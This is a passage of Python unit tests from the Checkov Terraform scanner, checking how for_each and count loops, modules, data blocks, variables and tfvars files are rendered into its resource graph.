assert breadcrumbs[list(breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['type'] == 'variable'\n        assert expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['type'] == 'variable'\n\n        assert breadcrumbs[list(breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['name'] == 'test'\n        assert expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['name'] == 'test'\n\n        assert breadcrumbs[list(breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['path'].endswith('depend_resources/variable.tf')\n        assert expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'][location_var][0]['path'].endswith('depend_resources/variable.tf')\n\n\n@pytest.mark.parametrize(\n    \"attrs,k_v_to_change,expected_attrs,expected_res\",\n    [\n        ({\"test_key\": [\"${test_val}\"]}, {\"test_val\": \"new_val\"}, {\"test_key\": [\"new_val\"]}, ['test_key']),\n        ({\"test_key\": [\"${test}\"]}, {\"test_val\": \"new_val\"}, {\"test_key\": [\"${test}\"]}, []),\n        ({\"test_key\": [\"${test_val} ${test_val}\"]}, {\"test_val\": \"new_val\"}, {\"test_key\": [\"new_val new_val\"]}, ['test_key']),\n        ({\"test_key\": {\"nested_key\": [\"${test_val}\"]}}, {\"test_val\": \"new_val\"}, {\"test_key\": {\"nested_key\": [\"new_val\"]}}, ['test_key.nested_key']),\n        ({\"test_key\": [\"${test_val} test_val\"]}, {\"test_val\": \"new_val\"}, {\"test_key\": [\"new_val new_val\"]}, ['test_key']),\n        ({\"test_key\": [\"${test_val}\"]}, {\"test_val\": 123}, {\"test_key\": [123]}, ['test_key']),\n        ({\"test_key\": [\"${test_val}\"]}, {\"test_val\": True}, {\"test_key\": [True]}, ['test_key']),\n        ({\"test_key\": {\"a\": \"${test_val}\"}}, {\"test_val\": \"new_val\"}, {\"test_key\": {\"a\": \"new_val\"}}, ['test_key.a']),\n        ({\"test_key\": {\"a\": {\"b\": \"${test_val}\"}}}, {\"test_val\": \"new_val\"}, {\"test_key\": {\"a\": {\"b\": \"new_val\"}}}, ['test_key.a.b']),\n        ({'ports': '${each.value.port}', 'protocol': 'tcp'}, {'each.value': {'name': 'name-open-ssh', 'port': '22', 'range': '0.0.0.0/0', 'tag': 'allow-ssh'}}, {'ports': '22', 'protocol': 'tcp'}, ['ports']),\n        (\n                {\"tags\": [\"${try(merge(var.tags,{'product_owner': '${each.value.product_owner}'}),var.tags,{'git_commit': 'aaaaa', 'git_file': 'main.tf'})}\"]},\n                {'each.value': {'name': 'security', 'product_owner': 'barak@gmail.com'}, 'each.key': 'security'},\n                {\"tags\": [\"${try(merge(var.tags,{'product_owner': 'barak@gmail.com'}),var.tags,{'git_commit': 'aaaaa', 'git_file': 'main.tf'})}\"]},\n                [\"tags\"]\n        )\n    ]\n)\ndef test_update_attrs(attrs, k_v_to_change, expected_attrs, expected_res):\n    local_graph = build_and_get_graph_by_path('')[0]\n    foreach_handler = ForeachAbstractHandler(local_graph)\n    res = foreach_handler._update_attributes(attrs, k_v_to_change)\n    assert attrs == expected_attrs\n    assert res == expected_res\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\"})\ndef test_new_tf_parser_with_foreach_modules(checkov_source_path):\n    dir_name = 'parser_dup_nested'\n    local_graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=local_graph.vertices, root_folder=dir_name)\n\n    assert len(tf_definitions.keys()) == 14\n    assert len([block for block in local_graph.vertices if block.block_type == 'resource']) == 8\n    assert len([block for block in local_graph.vertices if block.block_type == 'module']) == 12\n\n    assert len(local_graph.vertices) == 47\n    assert len(local_graph.vertices_by_module_dependency) == 13\n\n    assert local_graph.vertices_by_module_dependency[None]['module'] == [0, 1, 25, 36]\n\n    first_module_vertex = local_graph.vertices[0]\n    assert first_module_vertex.name == 's3_module[\"a\"]' and first_module_vertex.for_each_index == 'a'\n\n    second_module_vertex = local_graph.vertices[1]\n    assert second_module_vertex.name == 's3_module2[0]' and second_module_vertex.for_each_index == 0\n\n    twenty_fifth_module_vertex = local_graph.vertices[25]\n    assert twenty_fifth_module_vertex.name == 's3_module[\"b\"]' and twenty_fifth_module_vertex.for_each_index == 'b'\n\n    thrirty_six_module_vertex = local_graph.vertices[36]\n    assert thrirty_six_module_vertex.name == 's3_module2[1]' and thrirty_six_module_vertex.for_each_index == 1\n\n    assert local_graph.vertices[26].source_module == {25}\n    assert local_graph.vertices[37].source_module == {36}\n\n    # check foreach_idx is updated correctly\n    first_key = list(tf_definitions.keys())[0]\n    first_value = tf_definitions[first_key]\n\n    first_tf_module = first_value['module'][0]['s3_module[\"a\"]']['__resolved__'][0]\n    second_tf_module = first_value['module'][1]['s3_module2[0]']['__resolved__'][0]\n    third_tf_module = first_value['module'][2]['s3_module[\"b\"]']['__resolved__'][0]\n    fourth_tf_module = first_value['module'][3]['s3_module2[1]']['__resolved__'][0]\n    assert first_tf_module in tf_definitions\n    assert second_tf_module in tf_definitions\n    assert third_tf_module in tf_definitions\n    assert fourth_tf_module in tf_definitions\n\n    first_nested_module = tf_definitions[first_tf_module]\n    second_nested_module = tf_definitions[second_tf_module]\n    third_nested_module = tf_definitions[third_tf_module]\n    fourth_nested_module = tf_definitions[fourth_tf_module]\n\n    assert len(tf_definitions[first_nested_module['module'][0]['inner_s3_module']['__resolved__'][0]]['resource']) == 1\n    assert len(tf_definitions[first_nested_module['module'][1]['inner_s3_module2']['__resolved__'][0]]['resource']) == 1\n    assert len(tf_definitions[second_nested_module['module'][0]['inner_s3_module']['__resolved__'][0]]['resource']) == 1\n    assert len(tf_definitions[second_nested_module['module'][1]['inner_s3_module2']['__resolved__'][0]]['resource']) == 1\n    assert len(tf_definitions[third_nested_module['module'][0]['inner_s3_module']['__resolved__'][0]]['resource']) == 1\n    assert len(tf_definitions[third_nested_module['module'][1]['inner_s3_module2']['__resolved__'][0]]['resource']) == 1\n    assert len(tf_definitions[fourth_nested_module['module'][0]['inner_s3_module']['__resolved__'][0]]['resource']) == 1\n    assert len(tf_definitions[fourth_nested_module['module'][1]['inner_s3_module2']['__resolved__'][0]]['resource']) == 1\n\n    assert first_tf_module.file_path == os.path.join(checkov_source_path, 'tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf')\n\n    first_source_module = first_tf_module.tf_source_modules\n    assert first_source_module.name == 's3_module'\n    assert first_source_module.nested_tf_module is None\n    assert first_source_module.foreach_idx == 'a'\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\"})\ndef test_tf_definitions_for_foreach_on_modules(checkov_source_path):\n    dir_name_and_definitions_path = [\n        ('parser_dup_nested', 'expected_foreach_modules_tf_definitions.json'),\n        ('foreach_module_dup_foreach', 'expected_foreach_module_dup_foreach.json')\n    ]\n    for dir_name, definitions_path in dir_name_and_definitions_path:\n        local_graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n        tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=local_graph.vertices, root_folder=dir_name)\n\n        file_path = os.path.join(os.path.dirname(__file__), definitions_path)\n        with open(file_path, 'r') as f:\n            expected_data = json.load(f, object_hook=object_hook)\n\n        tf_definitions_json = json.dumps(tf_definitions, cls=CustomJSONEncoder)\n        tf_definitions_json = tf_definitions_json.replace(checkov_source_path, '...')\n        tf_definitions_after_handling_checkov_source = json.loads(tf_definitions_json, object_hook=object_hook)\n        assert tf_definitions_after_handling_checkov_source == expected_data\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\"})\ndef test_foreach_module_in_second_level_module(checkov_source_path):\n    dir_name = 'foreach_module'\n    graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name)\n\n    assert len([block for block in graph.vertices if block.block_type == 'module']) == 10\n    assert len([block for block in graph.vertices if block.block_type == 'resource']) == 8\n    assert len(tf_definitions.keys()) == 11\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\"})\ndef test_foreach_module_in_both_levels_module(checkov_source_path):\n    dir_name = 'foreach_module_dup_foreach'\n    graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name)\n\n    resources = [block for block in graph.vertices if block.block_type == 'resource']\n    locals = [block for block in graph.vertices if block.block_type == 'locals']\n    vars = [block for block in graph.vertices if block.block_type == 'variable']\n    modules = [block for block in graph.vertices if block.block_type == 'module']\n\n    assert len(modules) == 20\n    assert len(resources) == 16\n    assert len(tf_definitions.keys()) == 22\n\n    for resource in resources:\n        assert resource.source_module_object.foreach_idx is not None\n\n    for local in locals:\n        assert local.source_module_object.foreach_idx is not None\n\n    for var in vars:\n        if var.source_module_object:\n            assert var.source_module_object.foreach_idx is not None\n\n    for module in modules:\n        if module.source_module_object:\n            assert module.source_module_object.foreach_idx is not None\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\"})\ndef test_foreach_module_and_resource(checkov_source_path):\n    dir_name = 'foreach_module_and_resource'\n    graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name)\n\n    assert len([block for block in graph.vertices if block.block_type == 'module']) == 2\n    assert len([block for block in graph.vertices if block.block_type == 'resource']) == 4\n    assert len(tf_definitions.keys()) == 3\n\n    assert graph.vertices[2].config['aws_s3_bucket_public_access_block']['var_bucket[\"a\"]']['__address__'] == 'module.s3_module[\"a\"].aws_s3_bucket_public_access_block.var_bucket[\"a\"]'\n    assert graph.vertices[6].config['aws_s3_bucket_public_access_block']['var_bucket[\"a\"]']['__address__'] == 'module.s3_module[\"b\"].aws_s3_bucket_public_access_block.var_bucket[\"a\"]'\n    assert graph.vertices[8].config['aws_s3_bucket_public_access_block']['var_bucket[\"b\"]']['__address__'] == 'module.s3_module[\"a\"].aws_s3_bucket_public_access_block.var_bucket[\"b\"]'\n    assert graph.vertices[9].config['aws_s3_bucket_public_access_block']['var_bucket[\"b\"]']['__address__'] == 'module.s3_module[\"b\"].aws_s3_bucket_public_access_block.var_bucket[\"b\"]'\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\", \"CHECKOV_ENABLE_DATAS_FOREACH_HANDLING\": \"True\"})\ndef test_foreach_data(checkov_source_path):\n    dir_name = 'data_simple'\n    graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name)\n\n    assert len([block for block in graph.vertices if block.block_type == 'data']) == 6\n    assert len(tf_definitions[list(tf_definitions.keys())[0]]['data']) == 6\n\n    data_vertices_names = [block.name for block in graph.vertices if block.block_type == 'data']\n    assert 'aws_s3_bucket.data_list[\"b\"]' in data_vertices_names\n    assert 'aws_s3_bucket.data_dict[\"key1\"]' in data_vertices_names\n    assert 'aws_s3_bucket.data_count[0]' in data_vertices_names\n    assert 'aws_s3_bucket.data_list[\"a\"]' in data_vertices_names\n    assert 'aws_s3_bucket.data_dict[\"key2\"]' in data_vertices_names\n    assert 'aws_s3_bucket.data_count[1]' in data_vertices_names\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\", \"CHECKOV_ENABLE_DATAS_FOREACH_HANDLING\": \"True\"})\ndef test_foreach_data_with_resource(checkov_source_path):\n    dir_name = 'data_with_resource'\n    graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name)\n\n    assert len([block for block in graph.vertices if block.block_type == 'data']) == 5\n    assert len(tf_definitions[list(tf_definitions.keys())[0]]['data']) == 5\n\n    data_vertices_names = [block.name for block in graph.vertices if block.block_type == 'data']\n    assert 'aws_s3_bucket.data_dict[\"key1\"]' in data_vertices_names\n    assert 'aws_s3_bucket.data_count[0]' in data_vertices_names\n    assert 'aws_s3_bucket.data_dict[\"key2\"]' in data_vertices_names\n    assert 'aws_s3_bucket.data_count[1]' in data_vertices_names\n\n    assert graph.vertices[0].attributes['bucket'] == graph.vertices[3].attributes['bucket']\n    assert graph.vertices[1].attributes['bucket'] == graph.vertices[4].attributes['bucket']\n    assert graph.vertices[8].attributes['bucket'] == graph.vertices[10].attributes['bucket']\n    assert graph.vertices[9].attributes['bucket'] == graph.vertices[11].attributes['bucket']\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\"})\ndef test_foreach_module_with_more_than_two_resources(checkov_source_path):\n    dir_name = 'foreach_module_with_more_than_two_resources'\n    graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    tf_definitions, _ = convert_graph_vertices_to_tf_definitions(vertices=graph.vertices, root_folder=dir_name)\n\n    assert len([block for block in graph.vertices if block.block_type == 'module']) == 16\n    assert len([block for block in graph.vertices if block.block_type == 'resource']) == 14\n    assert len(tf_definitions.keys()) == 17\n\n\n@pytest.mark.parametrize(\n    \"statement,expected\",\n    [\n        ([{'main'}], True),\n        ([\"${toset(['bucket_a', 'bucket_b'])}\"], True),\n        ({'key1': '${var.a}', 'key2': '${var.b}'}, True),\n        ({'key2': '${var.b}', 'var.a': '${var.a}'}, False),\n        ('${var.a}', False),\n        ('bana', True)\n    ]\n)\ndef test__is_static_foreach_statement(statement, expected):\n    abstract_handler = ForeachAbstractHandler(None)\n    assert abstract_handler._is_static_foreach_statement(statement) == expected\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\"})\ndef test_foreach_with_lookup():\n    dir_name = 'foreach_examples/foreach_lookup'\n    graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    assert graph.vertices[0].attributes.get('uniform_bucket_level_access') == [True]\n    assert graph.vertices[1].attributes.get('uniform_bucket_level_access') == [True]\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\"})\ndef test_foreach_large_count_with_nested_module(checkov_source_path):\n    dir_name = 'os_example_large_count_with_nested_module'\n    graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    assert len(graph.vertices) == 85\n\n\ndef test__get_tf_module_with_no_foreach():\n    module = TFModule(name='1', path='1', foreach_idx='1',\n                      nested_tf_module=TFModule(name='2', path='2', foreach_idx='2', nested_tf_module=None))\n    result = ForeachModuleHandler._get_tf_module_with_no_foreach(module)\n    assert result == TFModule(name='1', path='1', foreach_idx=None,\n                      nested_tf_module=TFModule(name='2', path='2', foreach_idx=None, nested_tf_module=None))\n\n\ndef test__get_module_with_only_relevant_foreach_idx():\n    module = TFModule(name='1', path='1', foreach_idx='1',\n                      nested_tf_module=TFModule(name='2', path='2', foreach_idx='2',\n                                                nested_tf_module=TFModule(name='3', path='3', foreach_idx='3',\n                                                                          nested_tf_module=None)\n                                                )\n                      )\n    original_key = TFModule(name='2', path='2', foreach_idx='2',\n                            nested_tf_module=TFModule(name='3', path='3', foreach_idx='3', nested_tf_module=None))\n    result = ForeachModuleHandler._get_module_with_only_relevant_foreach_idx('test', original_key, module)\n    assert result == TFModule(name='1', path='1', foreach_idx='1',\n                              nested_tf_module=TFModule(name='2', path='2', foreach_idx='test',\n                                                        nested_tf_module=TFModule(name='3', path='3', foreach_idx='3',\n                                                                                  nested_tf_module=None)\n                                                        )\n                              )\n\ndef test_nested_foreach_with_variable_reference():\n    \"\"\"\n    Here we test that a nested foreach loop based on module locals is correctly rendered in the Terraform graph.\n    \"\"\"\n    resources_by_group_local_var = 2\n    resources_by_files_local_var = 2\n\n    dir_name = 'foreach_examples/nested_foreach_based_on_module_locals'\n    graph = build_and_get_graph_by_path(dir_name)[0]\n    graph_resources_filter = filter(lambda blk: blk.block_type == 'resource', graph.vertices)\n    graph_resources_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_resources_filter))\n\n    assert len(graph_resources_created) is (resources_by_group_local_var * resources_by_files_local_var)\n    assert graph_resources_created == ['module.files[\"blue\"].aws_s3_bucket_object.this_file[\"test1\"]',\n                                       'module.files[\"green\"].aws_s3_bucket_object.this_file[\"test1\"]',\n                                       'module.files[\"blue\"].aws_s3_bucket_object.this_file[\"test2\"]',\n                                       'module.files[\"green\"].aws_s3_bucket_object.this_file[\"test2\"]']\n\n\ndef test_double_nested_foreach_with_variable_reference():\n    \"\"\"\n    Here we test that a 2 level nested foreach loop based on module local vars is correctly rendered in the Terraform graph.\n\n    In this test we have 2 x level1 modules (green, blue) each has 2 level2 modules (test1.txt, test2.txt)\n    and 2 resources for each (test3.txt, test4.txt).\n    So (2 x level1) -> (2 x level2) -> (2 x aws_s3_bucket resource).\n\n    The unique use case is that the for_each attributes depends on the main module's local variables.\n    \"\"\"\n    dir_name = 'foreach_examples/module_foreach_module_foreach_resource_foreach'\n    graph = build_and_get_graph_by_path(dir_name)[0]\n\n    graph_modules_filter = filter(lambda blk: blk.block_type == 'module', graph.vertices)\n    graph_modules_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_modules_filter))\n\n    graph_resources_filter = filter(lambda blk: blk.block_type == 'resource', graph.vertices)\n    graph_resources_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_resources_filter))\n\n    assert len(graph_modules_created) is 6    # 2 level1 modules, each has 2 level2 modules (total of 2 + 2*2 = 6)\n    assert len(graph_resources_created) is 8  # 4 level2 modules, each has 2 resources (total of 2*2*2 = 8)\n\n    assert graph_resources_created == ['module.level1[\"blue\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]',\n                                       'module.level1[\"green\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]',\n                                       'module.level1[\"blue\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]',\n                                       'module.level1[\"green\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]',\n                                       'module.level1[\"blue\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]',\n                                       'module.level1[\"green\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]',\n                                       'module.level1[\"blue\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]',\n                                       'module.level1[\"green\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]']\n\n\ndef test_double_nested_foreach_and_count_with_variable_reference():\n    \"\"\"\n    Here we test that a 2 level nested foreach loop and count based on module locals is correctly rendered in the Terraform graph.\n    In this test we have 2 x level1 modules (green, blue) each has 2 level2 modules (test1.txt, test2.txt)\n    and 2 resources for each (count of 2).\n    So (2 x level1) -> (2 x level2) -> (2 x aws_s3_bucket resource: count = 2).\n\n    The unique use case is that the count and for_each attributes (multiple levels) depends on the main module's local variables.\n    \"\"\"\n    dir_name = 'count_examples/module_foreach_module_foreach_resource_count'\n    graph = build_and_get_graph_by_path(dir_name)[0]\n\n    graph_modules_filter = filter(lambda blk: blk.block_type == 'module', graph.vertices)\n    graph_modules_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_modules_filter))\n\n    graph_resources_filter = filter(lambda blk: blk.block_type == 'resource', graph.vertices)\n    graph_resources_created = list(map(lambda rsrc: rsrc.attributes['__address__'], graph_resources_filter))\n\n    assert len(graph_modules_created) is 6    # 2 level1 modules, each has 2 level2 modules (total of 2 + 2*2 = 6)\n    assert len(graph_resources_created) is 8  # 4 level2 modules, each has 2 resources (total of 2*2*2 = 8)\n\n    assert graph_resources_created == ['module.level1[\"blue\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[0]',\n                                       'module.level1[\"green\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[0]',\n                                       'module.level1[\"blue\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[0]',\n                                       'module.level1[\"green\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[0]',\n                                       'module.level1[\"blue\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[1]',\n                                       'module.level1[\"green\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[1]',\n                                       'module.level1[\"blue\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[1]',\n                                       'module.level1[\"green\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[1]']\n\n\n@mock.patch.object(env_vars_config, \"RAW_TF_IN_GRAPH_ENV\", \"True\")\ndef test_foreach_renderer_with_raw_asset():\n    dir_name = 'foreach_examples/foreach_dup_resources'\n    local_graph = build_and_get_graph_by_path(dir_name)[0]\n    foreach_builder = ForeachBuilder(local_graph)\n    foreach_builder._module_handler.local_graph.enable_foreach_handling = True\n    assert len(local_graph.vertices) == 9\n    for resource in [local_graph.vertices[0], local_graph.vertices[1], local_graph.vertices[5], local_graph.vertices[7]]:\n        assert resource.name.endswith(\"[\\\"bucket_a\\\"]\") or resource.name.endswith(\"[\\\"bucket_b\\\"]\")\n        assert resource.id.endswith(\"[\\\"bucket_a\\\"]\") or resource.id.endswith(\"[\\\"bucket_b\\\"]\")\n        config_name = list(resource.config['aws_s3_bucket'].keys())[0]\n        assert config_name.endswith(\"[\\\"bucket_a\\\"]\") or config_name.endswith(\"[\\\"bucket_b\\\"]\")\n    for edge in [local_graph.edges[1], local_graph.edges[2], local_graph.edges[4], local_graph.edges[5]]:\n        assert edge.label == 'virtual_resource'\n    for resource in [local_graph.vertices[6], local_graph.vertices[8]]:\n        assert len(resource.config[CustomAttributes.VIRTUAL_RESOURCES]) == 2\n        for virtual_resource in resource.config[CustomAttributes.VIRTUAL_RESOURCES]:\n            assert virtual_resource.endswith(\"[\\\"bucket_a\\\"]\") or virtual_resource.endswith(\"[\\\"bucket_b\\\"]\")\n\n\n\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_render_scenario.py",
    "content": "import json\nimport os\nimport re\nfrom unittest.case import TestCase\nfrom unittest import mock\n\nimport jmespath\n\nfrom checkov.common.util.json_utils import object_hook, CustomJSONEncoder\nfrom checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_PREFIX, TERRAFORM_NESTED_MODULE_PATH_ENDING, \\\n    TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR, TERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH\nfrom checkov.terraform.modules.module_objects import TFDefinitionKey\nfrom checkov.terraform.checks.utils.dependency_path_handler import PATH_SEPARATOR, unify_dependency_path\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions\nfrom checkov.terraform.graph_manager import TerraformGraphManager\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestRendererScenarios(TestCase):\n\n    def test_maze_of_variables(self):\n        self.go('maze_of_variables')\n\n    def test_merge_function(self):\n        self.go(\"merge_function\")\n\n    def test_empty_file(self):\n        self.go(\"empty_file\")\n\n    def test_simple_bucket_single_file(self):\n        self.go(\"simple_bucket_single_file\")\n\n    def test_variable_defaults(self):\n        self.go(\"variable_defaults\")\n\n    def test_variable_defaults_separate_files(self):\n        self.go(\"variable_defaults_separate_files\")\n\n    def test_local_block(self):\n        self.go(\"local_block\")\n\n    def test_local_bool_string_conversion(self):\n        self.go(\"local_bool_string_conversion\")\n\n    def test_compound_local(self):\n        self.go(\"compound_local\")\n\n    def test_concat_function(self):\n        self.go(\"concat_function\")\n\n    def test_merge_function_unresolved_var(self):\n        self.go(\"merge_function_unresolved_var\", replace_expected=True)\n\n    def test_tobool_function(self):\n        self.go(\"tobool_function\", {\"JUNK\": ['tobool(\"invalid\")']})\n\n    def test_tolist_function(self):\n        self.go(\"tolist_function\")\n\n    def test_tomap_function(self):\n        self.skipTest(\"not reliable\")\n        self.go(\"tomap_function\")\n\n    def test_map_function(self):\n        self.go(\"map_function\", {\"INVALID_ODD_ARGS\": ['map(\"only one\")']})\n\n    def test_tonumber_function(self):\n        self.go(\"tonumber_function\", {\"INVALID\": ['tonumber(\"no\")']})\n\n    def test_toset_function(self):\n        self.go(\"toset_function\", {\"VAR\": [{'c', 'b', 'a'}]})\n\n    def test_tostring_function(self):\n        self.go(\"tostring_function\", {\"INVALID_ARRAY\": ['tostring([])']})\n\n    def test_module_simple(self):\n        self.go(\"module_simple\")\n\n    def test_module_simple_up_dir_ref(self):\n        self.go(\"module_simple_up_dir_ref\")\n\n    def test_nested_modules_instances_enable(self):\n        dir_name = 'nested_modules_instances_enable'\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../../parser/resources/parser_scenarios', dir_name))\n\n        from checkov.terraform.tf_parser import TFParser\n        parser = TFParser()\n        tf_definitions = parser.parse_directory(directory=resources_dir)\n\n        with open(f'{resources_dir}/expected.json') as fp:\n            expected = json.load(fp)\n        result, expected = json.dumps(tf_definitions, sort_keys=True, cls=CustomJSONEncoder), \\\n            json.dumps(expected, sort_keys=True, cls=CustomJSONEncoder)\n        result = result.replace(resources_dir, '')\n        expected = expected.replace(resources_dir, '')\n        assert result == expected\n\n    def test_module_matryoshka_nested_module_enable(self):\n        self.go(\"module_matryoshka_nested_module_enable\")\n\n    def test_list_default_622(self):  # see https://github.com/bridgecrewio/checkov/issues/622\n        different_expected = {\n            \"log_types_enabled\": {\n                'default':\n                    [\n                        [\n                            'api',\n                            'audit',\n                            'authenticator',\n                            'controllerManager',\n                            'scheduler'\n                        ]\n                    ],\n                'type': ['list(string)'],\n                \"__start_line__\": 11,\n                \"__end_line__\": 14,\n                \"__address__\": \"log_types_enabled\"\n            }\n        }\n        self.go(\"list_default_622\", different_expected)\n\n    def test_module_reference(self):\n        self.go(\"module_reference\")\n\n    def test_module_output_reference(self):\n        self.go(\"module_output_reference\")\n\n    def test_bad_ref_fallbacks(self):\n        self.go(\"bad_ref_fallbacks\", replace_expected=True)\n\n    def test_doc_evaluations_verify(self):\n        self.go(\"doc_evaluations_verify\", replace_expected=True)\n\n    def test_bad_tf_nested_modules_enable(self):\n        # Note: this hits the _clean_bad_definitions internal function\n        self.go(\"bad_tf_nested_modules_enable\")\n\n    def test_colon(self):\n        # Note: this hits the _clean_bad_definitions internal function\n        self.go(\"colon\", replace_expected=True)\n\n    def test_null_variables_651(self):\n        self.skipTest(\"different implementation, we keep the original variable reference\")\n        self.go(\"null_variables_651\")\n\n    def test_ternaries(self):\n        self.go(\"ternaries\")\n\n    def test_ternary_793(self):\n        self.go(\"ternary_793\")\n\n    def test_tfvars(self):\n        # variable evaluation order (later values overwrite earlier values):\n        # 1. default values in variable definition\n        # 2. terraform.tfvars\n        # 3. *.auto.tfvars files (in alphanetical order)\n        # 4. Files specified with --var-file\n        # So we expect the following variable values:\n        # foo = \"nimrodIsCöol\" (from other2.tfvars - overwrites y.auto.tfvars, x.auto.tfvars, terraform.tfvars)\n        # list_data = [\"nine\", \"ten\"] from y.auto.tfvars (overwrites x.auto.tfvars, terraform.tfvars)\n        # map_data = {<value from terraform.tfvars}\n        # only_here = \"hello\" (from var definition default)\n        # other_var_1 = \"abc\" (from var definition default - other1.tfvars is not loaded)\n        # other_var_2 = \"xyz\" (from other2.tfvars - overwrites var default)\n\n        test_dir = 'tfvars'\n\n        self.go(test_dir, vars_files=['other2.tfvars', 'other3.tfvars'])\n\n        # test that the file order is preserved (we expect the os.scandir to return entries in the same order for both\n        # of these tests so one of these tests will fail if the tfvars file precedence is not properly applied)\n        different_expected = {\n            \"my_bucket\": {\n                \"bucket\": [\n                    \"hello-nimrodIsCöol-${nine}-${dev}-abc-xyz-qwerty\"\n                ],\n                \"__start_line__\": 17,\n                \"__end_line__\": 19,\n                \"__address__\": \"aws_s3_bucket.my_bucket\"\n            }\n        }\n        self.go(\"tfvars\", vars_files=['other3.tfvars', 'other2.tfvars'], different_expected=different_expected)\n\n    def test_tfvars_outside_dir(self):\n        self.go('tfvars_outside_dir', vars_files=['../tfvars/other1.tfvars'])\n\n    def test_account_dirs_and_modules(self):\n        self.go(\"account_dirs_and_modules\")\n\n    def test_bogus_function(self):\n        self.skipTest(\"invalid values are not supported\")\n        self.go(\"bogus_function\")\n\n    def test_default_var_types(self):\n        self.go(\"default_var_types\")\n\n    @mock.patch.dict(os.environ, {\"RENDER_VARIABLES_ASYNC\": \"False\", \"LOG_LEVEL\": \"INFO\"})\n    def go(self, dir_name, different_expected=None, replace_expected=False, vars_files=None):\n        different_expected = {} if not different_expected else different_expected\n        resources_dir = os.path.realpath(\n            os.path.join(TEST_DIRNAME, '../../parser/resources/parser_scenarios', dir_name))\n        if vars_files:\n            vars_files = [os.path.join(resources_dir, f) for f in vars_files]\n        graph_manager = TerraformGraphManager(dir_name, [dir_name])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True,\n                                                                         vars_files=vars_files)\n        got_tf_definitions, _ = convert_graph_vertices_to_tf_definitions(local_graph.vertices, resources_dir)\n        expected = load_expected(replace_expected, dir_name, 